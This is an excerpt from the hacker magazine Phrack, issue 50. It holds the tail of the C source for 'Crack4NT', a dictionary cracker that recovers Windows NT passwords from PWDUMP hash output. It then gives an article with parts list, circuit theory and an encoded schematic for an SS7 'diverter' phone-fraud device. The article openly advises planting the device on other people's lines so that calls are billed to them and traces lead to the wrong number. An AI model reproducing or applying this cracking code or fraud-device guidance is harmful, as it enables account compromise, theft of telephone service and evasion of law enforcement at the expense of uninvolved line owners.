 *
 * THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */


/* dictionary based NT password cracker. This is a temporary 
 * solution until I get some time to do something more 
 * intelligent. The input to this program is the output of 
 * Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN 
 * OWF passwords out of the NT registry and a crack style 
 * dictionary file. The output of PWDUMP looks 
 * a bit like UNIX passwd files with colon delimited fields.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

/* Samba headers we use */
#include "byteorder.h"
#include "md4.h"

#define TRUE  1
#define FALSE 0
#define HASHSIZE 16

/* though the NT password can be up to 128 characters in theory,
 * the GUI limits the password to 14 characters.  The only way
 * to set it beyond that is programmatically, and then it won't
 * work at the console! So, I am limiting it to the first 14
 * characters, but you can change it to up to 128 by modifying
 * MAX_PASSWORD_LENGTH
 */
#define MAX_PASSWORD_LENGTH 14

/* defines for Samba code */
#define uchar unsigned char
#define int16 unsigned short
#define uint16 unsigned short
#define uint32 unsigned int

/* the user's info we are trying to crack */
typedef struct _USER_INFO
{
	char*			username;
	unsigned long	ntpassword[4];

}USER_INFO, *PUSER_INFO;

/* our counted unicode string */
typedef struct _UNICODE_STRING
{
	int16*			buffer;
	unsigned long	length;

}UNICODE_STRING, *PUNICODE_STRING;

/* from Samba source cut & pasted here */
static int _my_mbstowcs(int16*, uchar*, int);
static int _my_wcslen(int16*);

/* forward declarations */
void Cleanup(void);
int ParsePWEntry(char*, PUSER_INFO);

/* global variable definition, only reason is so we can register an
 * atexit() fuction to zero these for paranoid reasons
 */
char pPWEntry[258];		
char pDictEntry[129];   /* a 128 char password? yeah, in my wet dreams */
MDstruct MDContext;		/* MD4 context structure */


int main(int argc,char *argv[])
{
	FILE *hToCrack, *hDictionary;
	PUSER_INFO pUserInfo;
	PUNICODE_STRING pUnicodeDictEntry;
	int i;
	unsigned int uiLength;

	/* register exit cleanup function */
	atexit(Cleanup);

	/* must have both arguments */
	if (argc != 3) 
	{
		printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
		exit(0);
	}

	/* open password file */
	hToCrack = fopen(argv[1], "r");
	if (hToCrack == NULL)
	{
		fprintf(stderr,"Unable to open password file\n");
		exit(-1);
	}
	
	/* open dictionary file */
	hDictionary = fopen(argv[2], "r");
	if (hDictionary == NULL)
	{
		fprintf(stderr,"Unable to open dictionary file\n");
		exit(-1);
	}

	/* allocate space for our user info structure */
	pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
	if (pUserInfo == NULL)
	{
		fprintf(stderr,"Unable to allocate memory for user info structure\n");
		exit(-1);
	}

	/* allocate space for unicode version of the dictionary string */
	pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
	if (pUnicodeDictEntry == NULL)
	{
		fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
		free(pUserInfo);
		exit(-1);
	}

	/* output a banner so the user knows we are running */
	printf("\nCrack4NT is running...\n");
	
	/* as long as there are entries in the password file read
	 * them in and crack away */
	while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
	{
		/* parse out the fields and fill our user structure */
		if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
		{
			continue;
		}

		/* reset file pointer to the beginning of the dictionary file */
		if (fseek(hDictionary, 0, SEEK_SET))
		{
			fprintf(stderr,"Unable to reset file pointer in dictionary\n");
			memset(pUserInfo->ntpassword, 0, HASHSIZE);
			free(pUserInfo);
			free(pUnicodeDictEntry);
			exit(-1);
		}
		
		/* do while we have new dictionary entries */
		while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
		{
			/* doh...fgets is grabbing the fucking newline, how stupid */
			if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
			{
				pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
			}

			/* the following code is basically Jeremy Allison's code written
			 * for the Samba project to generate the NT OWF password.  For
			 * those of you who have accused Samba of being a hacker's
			 * paradise, get a fucking clue.  There are parts of NT security
			 * that are so lame that just seeing them implemented in code
			 * is enough to break right through them.  That is all that
			 * Samba has done for the hacking community.
			 */

			/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
			uiLength = strlen((char *)pDictEntry);
			if(uiLength > MAX_PASSWORD_LENGTH)
				uiLength = MAX_PASSWORD_LENGTH;

			/* allocate space for unicode conversion */
			pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
	
			/* allocate space for it */
			pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
			if (pUnicodeDictEntry->buffer == NULL)
			{
				fprintf(stderr,"Unable to allocate space for unicode string\n");
				exit(-1);
			}
			
			/* Password must be converted to NT unicode */
			_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
			/* Ensure string is null terminated */
			pUnicodeDictEntry->buffer[uiLength] = 0; 
			
			/* Calculate length in bytes */
			uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
 
			MDbegin(&MDContext);
			for(i = 0; i + 64 <= (signed)uiLength; i += 64)
				MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
			MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);

			/* end of Samba code */

			/* check if dictionary entry hashed to the same value as the user's
			 * NT password, if so print out user name and the corresponding
			 * password
			 */
			if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
			{
				printf("Password for user %s is %s\n", pUserInfo->username, \
					   pDictEntry);
				/* we are done with the password entry so free it */
				free(pUnicodeDictEntry->buffer);
				break;
			}

			/* we are done with the password entry so free it */
			free(pUnicodeDictEntry->buffer);
		}
	}

	/* cleanup a bunch */
	free(pUserInfo->username);
	memset(pUserInfo->ntpassword, 0, HASHSIZE);
	free(pUserInfo);
	free(pUnicodeDictEntry);

	/* everything is great */
	printf("Crack4NT is finished\n");
	return 0;
}

void Cleanup()
{
	memset(pPWEntry, 0, 258);
	memset(pDictEntry, 0, 129);
	memset(&MDContext.buffer, 0, HASHSIZE);
}


/* parse out user name and OWF */
int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
{
	int HexToBin(char*, uchar*, int);
	
	char pDelimiter[] = ":";
	char* pTemp;
	char pNoPW[] = "NO PASSWORD*********************";
	char pDisabled[] = "********************************";

	/* check args */
	if (pPWEntry == NULL || pUserInfo == NULL)
	{
		return FALSE;
	}
	
	/* try and get user name */
	pTemp = strtok(pPWEntry, pDelimiter);
	if (pTemp == NULL)
	{
		return FALSE;
	}

	/* allocate space for user name in USER_INFO struct */
	pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
	if (pUserInfo->username == NULL)
	{
		fprintf(stderr,"Unable to allocate memory for user name\n");
		return FALSE;
	}

	/* get the user name into the USER_INFO struct */
	strcpy(pUserInfo->username, pTemp);

	/* push through RID and LanMan password entries to get to NT password */
	strtok(NULL, pDelimiter);
	strtok(NULL, pDelimiter);

	/* get NT OWF password */
	pTemp = strtok(NULL, pDelimiter);
	if (pTemp == NULL)
	{
		free(pUserInfo->username);
		return FALSE;
	}

	/* do a sanity check on the hash value */
	if (strlen(pTemp) != 32)
	{
		free(pUserInfo->username);
		return FALSE;
	}

	/* check if the user has no password - we return FALSE in this case to avoid
	 * unnecessary crack attempts
	 */
	if (strcmp(pTemp, pNoPW) == 0)
	{
		printf("User %s has no password\n", pUserInfo->username);
		return FALSE;
	}

	/* check if account appears to be disabled - again we return FALSE */
	if (strcmp(pTemp, pDisabled) == 0)
	{
		printf("User %s is disabled most likely\n", pUserInfo->username);
		return FALSE;
	}

	/* convert hex to bin */
	if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
	{
		free(pUserInfo->username);
		return FALSE;
	}

	/* cleanup */
	memset(pTemp, 0, 32);

	return TRUE;
}


/* just what it says, I am getting tired
 * This is a pretty lame way to do this, but it is more efficent than
 * sscanf()
 */
int HexToBin(char* pHexString, uchar* pByteString, int count)
{
	 int i, j;

	 if (pHexString == NULL || pByteString == NULL)
	 {
		fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
		return FALSE;
	 }
	 
	 /* clear the byte string */
	 memset(pByteString, 0, count);
	 
	 /* for each hex char xor the byte with right value, we are targeting
	  * the low nibble
	  */
	 for (i = 0, j = 0; i < (count * 2); i++)
	 {
		 switch (*(pHexString + i))
		 {
			case '0': pByteString[j] ^= 0x00;
				break;

			case '1': pByteString[j] ^= 0x01;
				break;

			case '2': pByteString[j] ^= 0x02;
				break;

			case '3': pByteString[j] ^= 0x03;
				break;

			case '4': pByteString[j] ^= 0x04;
				break;

			case '5': pByteString[j] ^= 0x05;
				break;

			case '6': pByteString[j] ^= 0x06;
				break;

			case '7': pByteString[j] ^= 0x07;
				break;

			case '8': pByteString[j] ^= 0x08;
				break;

			case '9': pByteString[j] ^= 0x09;
				break;

			case 'a':
			case 'A': pByteString[j] ^= 0x0A;
				break;

			case 'b':
			case 'B': pByteString[j] ^= 0x0B;
				break;

			case 'c':
			case 'C': pByteString[j] ^= 0x0C;
				break;

			case 'd':
			case 'D': pByteString[j] ^= 0x0D;
				break;

			case 'e':
			case 'E': pByteString[j] ^= 0x0E;
				break;

			case 'f':
			case 'F': pByteString[j] ^= 0x0F;
				break;

			default: fprintf(stderr,"invalid character in NT MD4 string\n");
				     return FALSE;
		 }

		 /* I think I need to explain this ;) We want to incremet j for every
		  * two characters from the hex string and we also want to shift the 
		  * low 4 bits up to the high 4 just as often, but we want to alternate
		  * The logic here is to xor the mask to set the low 4 bits, then shift
		  * those bits up and xor the next mask to set the bottom 4. Every 2
		  * hex chars for every one byte, get my screwy logic? I never was
		  * good at bit twiddling, and sscanf sucks for efficiency :(
		  */
		 if (i%2)
		 {
			j ++;
		 }
		 if ((i%2) == 0)
		 {
			pByteString[j] <<= 4;
		 }
	 }

	 return TRUE;
}


/* the following functions are from the Samba source, and many thanks to the 
 * authors for their great work and contribution to the public source tree
 */

/* Routines for Windows NT MD4 Hash functions. */
static int _my_wcslen(int16 *str)
{
	int len = 0;
	while(*str++ != 0)
		len++;
	return len;
}

/*
 * Convert a string into an NT UNICODE string.
 * Note that regardless of processor type 
 * this must be in intel (little-endian)
 * format.
 */
 static int _my_mbstowcs(int16 *dst, uchar *src, int len)
{
	int i;
	int16 val;
 
	for(i = 0; i < len; i++) {
		val = *src;
		SSVAL(dst,0,val);
		dst++;
		src++;
		if(val == 0)
			break;
	}
	return i;
}
<--> NTPWC/ntpwc.c

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     9 of 16
 
                                SS7 based diverter

                      The MasterMiiND <miind@geocities.com>


Brief Description:
------------------

Hey everyone, well I've spent some time now designing a Diverter, and finally 
came up with a foolproof design.  After building every diverter plan I could
find, and finding that they didn't work under the switching systems of our
day (not surprising, seeing how all the plans are like ten years old) I 
decided something needed to be done.  Well, I thought I'd share this new 
diverter with everyone, so we can all have phun again, until they change the 
system again.

Also called a "Gold Box", a diverter allows somebody to call one predetermined
telephone number, and then get a dial tone from another predetermined phone
line.  It is like calling a direct in-dial (DID) line on a PBX and getting a
dial tone.  The main difference is, that YOU actually built the device, and
you don't have to enter authorization codes to get the dial tone.

Uses:
-----

You can setup a diverter so that you can call pseudo-anonymously.  That is,
you call the diverter, and then call out of the second line.  That way, if
anybody checks their caller ID unit, the number of the second line, and not
your own line will show up.  Also, if they decide to activate a trace, then
the telco and the police will get the wrong number.

Another reason for setting up a diverter of course, is to avoid paying for
telephone calls.  Any, and all calls you make on a diverter, are billed to
the owner of the second line.  This means, that if you call your Aunt Jemima
in the Outer Hebrides for 10 minutes, then the owner of the line you used will
get her number, and be able to call her up and ask who called her at the time
and date stated on their bill.  Now, if she is your average Aunt Jemima, then 
she will most likely say, 'Oh, that was my nephew, Michael.  His number is
555-2357'.  But if she is cool, like MY Aunt Jemima, she would say something
like 'Hmm, let me see...oh yes, that was a telemarketer from the USA, trying
to sell me a used vacuum cleaner.'  Anyway, my point is, that every billable
call you make, will show up on their bill.  For that reason, it is best suited
to call stuff that you don't care too much about.  Setting up teleconferences,
calling long distance BBS's, phone sex, and maybe even long distance scanning
are all good uses for the diverter.

Technical Description:
----------------------

Ok, so you want to make a diverter?  Well, before you set out designing a
diverter, there are some basic properties of the Signaling System 7 (SS7)
telephone system that you should be aware of.  Previous plans for diverters
have been release in the past, but as those of you who tried to make one have
realized, they do not work under SS7.  Generally, these plans are around ten
years old, and were designed for older switching systems such as Step by Step
(SxS) and CrossBar (xbar).  The diverter that I have come up with, has been
tested under GTD-5 EAX, and DMS-100 switches.  Because the signaling used by
these switches, and the #5ESS are the same, it is safe to assume the diverter
would work under #5ESS, although I can't say for sure, as I haven't been able
to test it out.  If someone gets one working under an AT&T switch, please
drop me a line, because I would be really interested in how it worked, and
what, if any, changes had to be made.  Ok, enough nonsense from me!

When your telephone is in it's normal on-hook state, there is approximately
48VDC across the ring and tip.  When you pick up your phone, the voltage
drops down to about 6-10VDC.  This is because taking your phone off-hook
causes a closed circuit across the ring and tip, through your telephone.
Doing so, causes the CO's equipment to sense you have taken your telephone
off-hook, and send you a dial tone to tell you it is ready to receive dialing
instructions.  Ok, now, suppose your phone is on-hook.  Your Aunt Jemima calls
you up.  How does the CO alert you to this?  Well, they send a ring signal to
your line.  This is a 90-130VAC signal, that is approximately 20Hz in
frequency.  This is pulsed on for 2 seconds, then off for 4 seconds.  This is
then repeated for a predetermined amount of time, or until you pick up your
phone.  The amount of time a phone will ring, if you don't pick up your phone
depends on how your phriends at the CO programmed the switch.  The reason why
it has a time limit for a ring out, is for two main reasons.  First of all,
it takes a lot of equipment resources and power in the CO to ring a phone.
And secondly, to put an end to phreaker's "Black Boxes" that would depend on
the switches ability to ring a phone for ever, if it wasn't picked up...

Ok, now you pick up your ringing phone.  This causes voltage to flow from the
tip through your phone to the ring.  This causes the CO's switching equipment
to stop sending the ringing signal, and then drops the voltage down to around
6-10VDC.  An audio path is then opened between your Aunt Jemima and you.  Now, 
after about 10 minutes of speaking with her, your Aunt Jemima shouts: 
'Oh no...my pancakes are burning...gota go...' and hangs up on you.  But you,
being the phreak that you are, stay on the line.  You listen carefully, but
hear nothing but the silence of linenoise.  Then, after about 10 seconds,
the CO sends a disconnect signal to your line.  This disconnect signal is
simply a reversal of polarity between the ring and tip for about 1 second.
When the polarity is first reversed, you hear a click in the earpiece of the
phone.  Then, when the polarity is reversed again, you hear another click.
The voltage is back at 6-10VDC, and the polarity is just as if you had just
picked up your phone.  Now, if you stay on the line for about 30 seconds
longer, the CO will send an off-hook signal, which is a very special signal.
It is a MF signal that consists of 1400Hz & 2060Hz & 2450Hz & 2600Hz tone
pulsed on 0.1 second on, and 0.1 second off.  That is the very loud and
annoying sound you hear if you leave your phone off-hook.

Ok, those are the basic properties of the SS7 telephone system you need to
know, to understand how the diverter works.  I've spent a little of my time
drawing a schematic in GIF format, and you will find it uuencoded at the end
of this file, so please decode it first, and load it up in your favorite
image viewer, while you read the next part.  It really helps to follow the
schematic, while reading the white paper.  After all, anybody can follow
simple instructions on how to make a diverter, but I would prefer you all
understand how it works.  I wouldn't want to think I wasted my time on this
little project ;-)

Parts List:
-----------

(1) DPDT relay (5VDC Coil Rating)
(1) 600 Ohm:600 Ohm transformer (Telecom Isolation Type)
(1) 2N3904 transistor (NPN, Small Signal type)
(1) Opto-Isolator pair (IR LED/Phototransistor Type)
(1) 22K Ohm resistor (1/4W, 5%)
(1) 470 Ohm resistor (1/4W, 5%)
(4) 1N4003 diodes (200 PIV)
(1) 7805 IC (5VDC, Positive Voltage Regulator)
(1) 0.33uF capacitor (Mylar Type, microfarad)

Parts Notes:
------------

The transformer is the type you would find in an answering machine, but can be
picked up for around $7.00.  The opto-isolator is a slotted pair.  That is,
they are housed in a plastic assembly, that has an IR LED facing onto a photo-
transistor, with a slot in between them.  The slot is designed for a rotating
wheel or something similar, but doesn't affect the design at all.  A true
opto-isolator could be used instead, I guess, but the only ones I could find
where photodarlington types, and I couldn't really be bothered with them.
Besides, I happen to think the slotted pair look cooler! ;-)

Anyhow, in my diverter, I replaced the 4 diodes with a full wave bridge
rectifier in a 4 pin DIP.  It was smaller, and again, it looked cooler.
The 7805 is a voltage regulator IC.  It has 3 pins, and can be found almost
anywhere.  Lastly, the capacitor is just a regular mylar device.  If the value
is higher than 0.4uF, then the diverter will activate with line noise on line
#1, or if someone picks up line #1, or if the pulse dial!  If it is less than
0.2uF, then line #1 will ring a couple of times before the diverter picks up.
Best advice is to simply use a 0.33uF capacitor.  Other stuff you will need is
hook up wire, plugs and connectors, some sort of protoboard, and a box.  This
part is up to you, and is where you get to show your phriends at the next 2600
meeting your creativity.  Using a Rubbermaid (tm) tub is pretty creative.  I
just went with a plain project box from Hammond (tm).  Ah well...

Schematic:
----------

NO ASCII SCHEMATICS FOR YOU!   DECODE THE GIF AT THE END OF THIS FILE INSTEAD!

Theory of Operation:
--------------------

Ok, looking at the schematic, we see RED #1, GREEN #1, RED #2 and GREEN #2.
Obviously, these are the two lines.  Now, line #1 is going to be the line
that we initially call into to get the dial tone, and line #2 is going to be
the line of the dial tone that we actually get.

We see that in the normal state, the DPDT relay is not activated.  This
presents an open circuit to line #2.  Current cannot flow from GREEN #2 to
RED #2, because of the open relay.  Thus, line #2 is in the on-hook state.
The same is the case for line #1.  Current cannot flow from GREEN #1 to RED #1
because of the open relay contacts.  Also, because the voltage across the two
wires is 48VDC, the direct current is blocked by the capacitor, C1.  Thus, 
current from line #1 cannot enter the rectifier either.  In the normal state,
both lines #1 and #2 are on-hook.

Now, you dial up the number for line #1.  The 48VDC, becomes a ringing signal
of 90-130VAC @ 20Hz.  This causes an alternating current to pass the capacitor
C1, and into the full wave bridge rectifier.  This causes a DC voltage to
appear on the output of the rectifier, which flows through the IR LED in the
opto-isolator, lighting it up.  As the IR light hits the phototransistor,
the phototransistor's collector current starts to flow.  This causes the
second transistor's base current to flow.  This causes the transistor's
collector current to flow, which turns on the DPDT relay.  Now, as the relay
turns on, current can now flow from GREEN #1 through D1 in the full wave
bridge rectifier, through the IR LED in the opto-isolator and it's current
limiting resistor, through one half of the DPDT relay's contacts, through one
winding of the transformer, and to the RED #1.  Also, at the same time, we now
have current flowing from GREEN #2 through the second half of the DPDT relay's
contacts, through the other winding of the transformer, and to RED #2.

In effect, the diverter is picking up both lines.  Now, you would think that
if the diverter picked up both lines, then the ringing signal would stop on
line #1, and the IR LED would turn off, thus turning off the whole circuit.
Well, this is partially correct.  However, notice that line #1 is now flowing
THROUGH the IR LED, which keeps it on!  So, the ring signal initially turns on 
the IR LED, and the off-hook current of about 6-10VDC keeps it on!

So, now, you are connected to line #1.  Line #2 is off-hook as well, and both
line #1 and line #2 are being bridged via the transformer.  Thus, any and all
audio is passed between both lines.  What this means is that you get the dial
tone from line #2, and you can send your DTMF's from line #1.

Ok, now you make your call.  Now, you hang up on line #1.  Now, for about 10
seconds, the diverter stays active.  But then, the CO sends a disconnect
signal to line #1.  If you remember back, this is just a reversal of polarity
between the ring and tip, that is the GREEN #1 and RED #1.  Doing so, the
IR LED, being a polarity sensitive device, turns off.  This causes the
phototransistor's collector current to goto zero. This causes the transistor's
base current to goto zero as well, and as a result, the transistor's collector
current goes to zero as well, thus turning off the relay, and putting both
line #1 and line #2 on-hook again.  The diverter is now ready for another
call.  There...simple huh?

Special Notes:
--------------

The diverter can be installed anywhere you have access to 2 lines.  Obviously,
green base's, can's, telephone pole's, network interface's etc... are all prime
locations for the diverter.  Now, you need a lineman's handset or a "Beige Box"
and access to an ANI read back circuit, in order to determine the numbers of
the line's you are using.

Once the device is installed, anyone and everyone calling line #1 will receive
a dial tone.  This means that you cannot simply leave the device installed for
a whole month.  That is, unless you manage to find a line that is unpublished
and used for outgoing calls or something.  An example is a corporate data line
used by a local (unnamed) fast food restaurant that sends payroll data at
night, once a week.  You get your diverter on this line, and you could leave
it there for a while.

Also, it is a good idea, once you get the dial tone, to use calling cards, or
third party calling to complete your call.  That way, your calls don't show up
on line #2's bill right away.  Usually, it will show up on the next bill of
the person you third party'd, and it will take another month or two to reach
the bill of line #2.  However, line #2 will also get service charges for the
third party, so their bill will be even higher than if you just used their
line directly.

Ok, as for the circuit...I've gotten into a habit of designing all my circuits
to operate at 5VDC.  Although this isn't too necessary in this circuit, it
makes it totally TTL and CMOS compatible, should you want add digital gating
and other fancy stuff to the basic diverter.  Well, that's enough rambling from
me for now...go and get yourself some parts!

Shout Out's:
------------

Shout's to the Vancouver, BC hack community...you know who you are...
Shout's to all the guys at Phrack...keep the legend going....
Shout's to the Niagara Falls, ON hack community...(IS there one?)
Hell, shout's to the whole damn community...we're still alive and kicking
right!

Oh yeah, I can't miss out our beloved BC Tel!  Keep those rates increasing,
and keep installing those ultra fancy NorTel Millenium's in the high vandalism
and high crime areas!

That's all folks...

=[MasterMiiND]=

==============================BEGIN UUENCODED GIF=============================

begin 644 diverter.gif
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
